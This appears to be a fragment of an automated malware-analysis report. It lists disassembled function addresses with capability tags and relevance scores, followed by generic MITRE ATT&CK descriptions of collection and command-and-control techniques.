memoryCOMMON

Function 0052BE70 Relevance: 37.4, APIs: 17, Strings: 4, Instructions: 675
fileCOMMON

Function 6CE735A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Function 00534910 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172
fileCOMMON

Function 00524880 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479
networkstringfileCOMMON

Function 00539C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Function 00527710 Relevance: 81.6, APIs: 54, Instructions: 584
stringmemoryCOMMON

Function 00530250 Relevance: 68.6, APIs: 29, Strings: 10, Instructions: 366
stringmemoryCOMMON

Function 00525100 Relevance: 47.8, APIs: 19, Strings: 8, Instructions: 572
stringnetworkmemoryCOMMON

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre